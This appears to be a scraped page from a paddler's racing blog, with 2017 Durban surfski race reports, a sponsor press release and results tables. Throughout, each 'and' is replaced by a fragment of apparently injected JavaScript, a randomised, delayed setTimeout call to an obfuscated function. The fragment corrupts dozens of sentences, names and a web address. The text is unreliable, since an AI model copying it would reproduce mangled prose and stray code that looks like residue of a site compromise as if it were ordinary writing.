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    HANSA Surfski Challenge – Dairy Beach – 5th

    Written by Barry Lewin on . Posted in Racing

    Looking back at 2017 so far, I haven’t put pen to paper on the blog at all. This isn’t like me, so here I go at getting back to sharing my padding journey. This year hasn’t been one of great results yet, so there hasn’t been much to talk about. It has however been one of my most fun paddling years so far, sharing a lot of my time on the water with my Fiancé Carly.

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    This weekend marked the start of the winter races in Durban, with the HANSA Surfski Challenge at Dairy Beach. I helped put the race together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and set a course straight out into the NE wind that had been blowing for over a week.

    Durban’s top paddlers turned out with a strong men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ladies field, all keen to kick off the season with a bang. The race was a lot of fun with the different course giving the paddlers a fresh new challenge.

    Everyone got away cleanly from the backline start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soon a big front bunch of 7 paddlers formed on the way out to the first turn can on lap 1. Matthew Bouman hit the front andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made his presence felt, making everyone (especially me sitting on the back of the bunch) work really hard to stay in contact. Matthew was too strong andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opened a solid lead on the first downwind leg, taking the event in fine style.

    The rest were left to fight for scraps. A long train of paddlers turned the final turn can 3km from the finish, eager to take the remaining podium spots. The youngest of the group, Bailey De Fondaumiere got the jump on the bunch getting into the runs first andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opening up a gap he held to take 2nd, (watch this kid this season, he is training hard) with Luke Nesbit 3rd, Wade Krieger 4th, Myself 5th andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Gene Prato 6th. I had a great dice for the line with Gene, who knew I could run? The depth in Durban is always strong andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s going to be a great season with everyone so close.

    In the ladies race the seasoned Michelle Burn came out on top of a strong ladies field, followed by Kyeta Purchase in 2nd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bridgitte Harley in 3rd.

    I have a lot to improve on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and looking forward to being more competitive in the bunch in the coming weeks, especially if we see the return of my Jeep Team South Africa, team mate Hank McGregor. Hank will surely lift the pace to another level.

    It was the first race outing for my Epic Kayaks V12 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am certainly getting used to the new boat. It consistently amazes me with its stability andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and responsiveness. I am lucky to have great kit to race with this season!

    Watch out for some video footage from the race later in the week.

    Next up is the Bay Union Single Challenge on the 7th of May at Marine SLC, see you there!

    Pics by Anthony Grote andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sharon Armstrong

    Paddler, Barry Lewin celebrates 13 years with Jeep Team South Africa

    Written by Barry Lewin on . Posted in Racing

    Press Release by Jeep Team South Africa, Pic By Anthony Grote

    Founded in 2001, Jeep Team South Africa is the most consistent, longest-running Sports, Wellness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lifestyle Team in South Africa.

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    With around 300 athletes moving through the team over the past 16 years, Jeep Team SA provides a highly educational, support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and motivational platform for athletes to grow, develop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mature into national andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and International stars.Barry Lewin

    International andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and National paddling star andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coach, Barry Lewin, is the longest-standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding member of the team, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is an important compass to all new athletes to the team.

    With Jeep Team at the helm, international sports events have presented significant opportunities for rising South African athletes to compete on a global stage. These opportunities have proven that local athletes are able to hold their own in the international sporting arena. However, without structures such as Jeep team SA, this newfound success is often curtailed by a lack of effective guidance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and management.

    Lewin, who joined the team in 2004, now has several local andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and international titles to his name. Some of his more notable achievements include winning the Liffey Descent in Irelandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on his first attempt in 2007, as well as breaking the 25-year-old K1 record a year later at Australia’s Avon Descent.

    Says Lewin, “In 2004, I was a student at Varsity College eager to take my sport to the next level. I wanted to race against the best in the world, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in as many places as the sport would take me. With the support of Jeep Team South Africa, I got opportunities to race, firstly, around South Africa, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, in time, around the world, testing myself against some of the best paddlers on the planet. My first breakthrough came in 2005, winning the grading race in Cape Town as the first person to break an hour on the course in a new record time. I also finished 3rd at the Fish River Canoe Marathon in the same year.”

    Since joining the team some 13 years ago, Lewin has developed a profound understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding of Jeep Team’s culture, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and plays an active role in leading this ethos andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the team ethic to both old andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and new members of the team.

    “My highlights have been the amazing places I have paddled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the friends I have made long the way. The results have been a bonus, with wins in South Africa, Irelandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, USA, Australia, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Caribbean. My proudest achievement was captaining the SA National Team to a win at the Southern Shamaal over the strong, favoured Aussie side,” says Lewin.Barry Lewin

    Max Cluer, Manager of Jeep Team South Africa says, “The goal of the team has been to encourage, support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and assist athletes on their journey as racing athletes. Jeep Team SA also has huge aspirational value by educating athletes on social media, cross-sport socialisation, brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and building andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the opportunity to be the best andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race against the best in the world, on the world stage.”

    Jeep Team South Africa, home to a group of top athletes, all at the top of their game, across different sporting disciplines, is driven to become the most successful all-round sports team.

    Says Lewin, an accomplished river marathon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Surfski paddler, “Jeep Team SA is quite unique in that it poses a full-service support system to the athletes. They don’t put a couple of stickers on your kit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say good luck. They play an integral part in the athletes’ careers. I have been involved with the team for a long time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the family culture. The management of the team has always had the athletes’ best interests at heart, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ensures they are mentored, guided andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supported. This will be further supported in 2017 with the addition of SARTORITM Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Managers to the team.”Barry Lewin

    Concludes Max Cluer, “With the current crop of massively-talented Jeep Team athletes, which include the likes of World Champion, Hank McGregor, ‘The Beast’, Thomas Van Tonder, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the newly added trail running champion Christiaan Greyling, combined with the support of the team, they can only go from strength to strength in the future.”

    Says Lewin on his future, “I have a new boat sponsor, Epic Kayaks, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be racing their boats here in SA, as well as in Mauritius, Europe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hong Kong this year. I’m hoping to retain my top 10 world series ranking. The Jeep Team is a special family of extraordinary people of whom I am proud to be a part of. I am always extremely proud to pull on my Jeep Team kit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and represent this awesome group.”

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    Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Burn kick-start winter surfski season with wins

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – After a brief break from the surf on the Durban beach front, paddlers returned to take on the first race of the winter andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was stalwarts Matt Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Michelle Burn who claimed wins at the Hansa Surfski Challenge at Dairy Beach on the Worker’s Day public holiday on Monday.

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    Despite the long weekend, Durban’s surfski community showed how much they have missed ocean racing as the women’s field attracted some of the top paddlers in the region with Michelle Burn showing that her hard work is paying dividends.

    “I tried to use the FNB Surfski Series as a point to get back into paddling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then build on that through the winter,” the Fenn Kayaks’ star said.

    “I have been working hard since the summer series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Monday was a great way for me to see whether I have improved – which I think I have.”

    The 12km Hansa Surfski Challenge took place on a two-lap, 6km out-andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-back course that tested paddlers of all abilities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Burn was happy that she was able to hold off the other women through the two laps.

    “On the first lap I was able to hold on to Bridgitte (Hartley) out to the turn can andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when we turned I got some good runs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opened up a gap.

    “It was vital that I was able to hold them off on the final paddle to the turn can into the wind, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I managed that.

    “I was proud of my effort andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was a good example of my improvements that I have made, especially with Bridgitte, Jenna (Ward) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kyeta (Purchase) on the water,” she added.

    The race for second in the women’s race threatened to be an exciting one, however, young Euro Steel ace Kyeta Purchase got a gap on her team mate Bridgitte Hartley andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beat her by 40 seconds.

    In the men’s race it was SMG/Epic Kayaks’ Bouman who showed his class to claim the overall win ahead of young Bailey de Fondaumiere with Bay Union/Fenn Kayaks’ Luke Nisbet in third place overall.

    Bouman was a class apart andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and managed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mastered the conditions better than anyone else as he finished 25 second ahead of De Fondaumiere with a procession of paddlers following them home.

    The doubles racing is always a hard-fought affair andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Hansa Surfski Challenge was no surprise. Shaun Burgin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and partner Lee Muir ended up taking the overall win just under a minute ahead of Bruce Wenke andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Linton Hope with Eugene Swanepoel andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Johann Terblanche in third.

    The race also offered a one-lap 6km race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that saw Jasper Gaylard outstrip the rest of the field to win by a mammoth two-andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-a-half minutes ahead of Patrick Addis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overall women’s winner Siobhan Sharp third.

    In the standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-up paddleboard category, Thomas King was far too strong for the other competitors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finished the 6km course in 40 minutes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 54 seconds. His win was more impressive as he beat Matt Swemmer by five minutes while Jaqueline le Court De Billot took third.

    The next race of the winter season is the opening race of the Bay Union Surfski Series – the Bay Union Singles Surfski Challenge on 7 May 2017.

    More information can be found at www.pitchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andpaddle.co.za.

    SUMMARY OF RESULTS – Hansa Surfski Challenge
    RACE FIVE OF THE 2016 BAY UNION SURFSKI SERIES

    LONG COURSE
    Singles
    1.Matthew Bouman 50:52
    2.Bailey de Fondaumiere 51:17
    3.Luke Nisbet 51:30
    4.Wade Krieger 51:52
    5.Barry Lewin 52:14
    6.Gene Prato 52:14
    7.Tyron Maher 53:29
    8.Clinton Cook 53:33
    9.Richard Burn 54:31
    10.Zoog Haynes 55:14

    Women
    1.Michelle Burn 56:20
    2.Kyeta Purchase 57:55
    3.Bridgitte Hartley 58:35
    4.Jenna Ward 58:44
    5.Donna Tutton 1:02:36

    Junior Boys
    1.Brendon Delport 59:08

    Doubles
    1.Shaun Burgin/Lee Muir 51:43
    2.Bruce Wenke/Linton Hope 52:49
    3.Eugene Swanepoel/Johann Terblanche 54:47
    4.Skye Prato/Marc Descoins 55:54
    5.Mark Lewin/Allan Hold 56:15

    SHORT COURSE
    Singles
    1.Jasper Gaylard 35:29
    2.Patrick Addis 38:00
    3.Siobhan Sharp 38:01

    Doubles
    1.Sean Chater/Dylan Riddle 33:30
    2.Dean Maclean/Catherine Addis 34:19
    3.Stuart Riddle/Gary Bowler 38:25

    SUP
    1.Thomas King 40:54
    2.Matthew Swemmer 46:16
    3.Jaqueline le Court De Billot 47:04

    FNB Surfski Series 2017 – SuperSport TV Shows – Episode 1 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2

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    Top of the class finish for 2017 FNB Surfski Series

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The 2017 FNB Surfski Series came to an exciting end with the Varsity College Surfski Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Varsity College SA Schools Championships taking place at the Marine Surf Lifesaving Club on Friday evening.

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    Appropriately, Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hayley Nixon claimed Race Ten win’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and by doing so they wrapped up the overall men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s titles for the second year in succession.

    Euro Steel/Carbonology’s Nixon had to finish well at the final race of the series to secure the title andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with the threat of Bridgitte Hartley racing the final race of the series, the pressure was on. However, Nixon powered her way home to win by just over a minute ahead of Hartley in second with Kyeta Purchase in third.

    It was an impressive seventh win of the series for Euro Steel/Epic Kayaks’ Hank McGregor who just pipped Capetonian Kenny Rice to the post while Matt Bouman rounded out the podium.

    Much of the focus of the evening was the Varsity College SA Schools Championships which provided some exciting race across the Under 18 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Under 16 divisions with William Wood from Selborne College in East London taking a tight win.

    “I have been working really hard for this andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when I was behind after the first lap I just put my head down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made sure Hamish (Lovemore) didn’t get away from me,” Wood mentioned after his win.

    “It was a proper, hard race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I felt good from the beginning but it was a really good contest throughout the race.”

    The race was a ding-dong battle throughout the second lap with both paddlers not giving an inch, however it was Wood who got the slightest of gaps coming into the finish which was just enough to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and him a memorable win.

    “On the final downwind leg we were matching each other run for run but I managed get a run ahead of him andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he got caught just behind me which gave me the space I needed.

    “I just held the gap for a bit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grew it slightly coming into the finish.

    “Such a great feeling to be able to win a race that I have been working towards for so long andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take back the title to East London!” a satisfied Wood added.

    Young Under 16 paddler Ulvard Hart came home in third place in the boys section with Hamish Mackenzie just behind him to take second Under 16 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fourth overall.

    In the girls race it was FNB Surfski Series regular Sabina Lawrie who was too strong for the rest of the girls field as she finished eighth overall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just under three minutes ahead of Christie Mackenzie in second.

    Zara Wood was the third girl across the finish line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was the first Under 16 girl to finish the 8km course. Cara Waud was second Under 16 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sixth girl to finish.
    On another jam-packed Friday evening at Marine SLC Luke Nisbet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Ward showed their class once again to finish third in the doubles category andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and claim another mixed doubles win whilst Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Clinton Cook took the overall doubles spoils.

    Mthebeni Mhkize was the strongest boat in the 4km short course, however the strongest boat in the race was the visiting doubles pair of Andre andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Helen Wood.

    Carmel Billson was in fine form as she finished the short course as the third single ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and first female ski. She finished ahead of Siobhan Sharp in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Nel in third.

    In the standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-up paddleboard category Nick Park-Ross once again showed his skills to claim another win. In the ladies SUP category it was Danica Bartho who finished top once again andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finished fifth overall.

    More information can be found at www.marineseries.co.za.
    SUMMARY OF RESULTS – Varsity College Surfski Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Varsity College SA Schools Champs
    RACE TEN OF THE 2017 FNB SURFSKI SERIES

    LONG COURSE
    1.Hank McGregor 31.24
    2.Kenny Rice 31.42
    3.Matt Bouman 31.45
    4.Wade Krieger 32.47
    5.Gene Prato 33.43
    6.Grant van der Walt 33.58
    7.Bailey de Fondaumiere 34.12
    8.Emil Torstensonn 34.14
    9.Tyron Maher 34.16
    10.Jordon Clauson 35.10

    Women
    1.Hayley Nixon 36.39
    2.Bridgitte Hartley 37.30
    3.Kyeta Purchase 39.08
    4.Kerry Segal 39.18
    5.Pippa McGregor 40.23

    Doubles
    1.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/Clinton Cook 31.26
    2.Thomas Lovemore/Felix Richter 32.52
    3.Jenna Ward/Luke Nisbet 33.02

    Mixed Doubles
    1.Jenna Ward/Luke Nisbet 33.02
    2.Raquel Arcediano/Gareth Miles 35.43
    3.Rowan Matthews/Jenna Matthews 37.39

    Women Doubles
    1.Emma Broberg/Emma Andersson 36.26
    2.Wilma Deyzel/Lyn Bennett 40:16
    3.Sharon Armstrong/Kelly Biljoen 41.52

    SHORT COURSE
    1.Mthebeni Mkhize 20.09
    2.Bruze Jackson 21.16
    3.Carmel Bilson 22.48
    4.Kevin Oliver 23.00
    5.Dave Rees 23.11

    Women
    1.Carmel Bilson 22.48
    2.Siobhan Sharp 23.12
    3.Jenna Nel 25.05

    Double
    1.Andre Wood/Helen Wood 18.56
    2.Jody Taylor/Duane Taylor 19.28
    3.LAnce Howarth/Jade Howarth 21.18

    SUP
    1.Nick Park-Ross 25.27
    2.Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andon Read 26.34
    3.Jon Ivins 28.08
    4.Matt Swemmer 28.36
    5.Brendon Germaine 29.07

    Women
    1.Danica Bartho 29.00
    2.Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande Williamson 29.28
    3.Charlotte Atherton 30.07

    VARSITY COLLEGE SA SCHOOLS CHAMPIONSHIPS
    OVERALL
    1.William Wood 34.14
    2.Hamish Lovemore 34.38
    3.Ulvard Hart (U16) 36.21
    4.Hamish Mackenzie (U16) 36.25
    5.Stewart Little 37.15
    6.Brendon Delport 37.31
    7.Alex Masina 38.08
    8.Sabina Lawrie 38.16
    9.Kelly Ashton Tarr 39.02
    10.Matthew Maroun 39.50

    GIRLS
    1.Sabina Lawrie 38.16
    2.Christie Mackenzie 41.21
    3.Zara Wood (U16) 43.20
    4.Teegan Hardwick 45.44
    5.Alice Edwards 46.19

    UNDER 16 BOYS
    1.Ulvard Hart 36.21
    2.Hamish Mackenzie 36.25
    3.James Matthews 43.43
    4.Petrus de Klerk 48.03
    5.George Edward 1:08.04

    UNDER 16 GIRLS
    1.Zara Wood 43.20
    2.Cara Waud 47.25

    Joining Epic Kayaks as an ambassador for 2017

    Written by Barry Lewin on . Posted in Racing

    After paddling for most of 2016 without a boat sponsor I am really excited to have joined Epic Kayaks as an ambassador for 2017.

    Through most of the last year I paddled an Epic v14 out of choice because of the boats cockpit comfort. I have really battled in the last couple years with fitting into boats with my big frame. Most of my training partners are shocked at the but pads andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and foam I have to add, just to get into most top end boats.

    I have been very lucky to have build a great relationship with the guys from Epic over the last couple months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and am super stoked to be partnering with them this year. This has been made even more special with the introduction of the new v12. I have been paddling it the last couple weeks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and excited to put it through its paces this season. A full report on the v12 soon!

    In the mean time check out the video I did for Epic using my GoPro Hero 5 Session Camera’s Supplied by World Of Heroes

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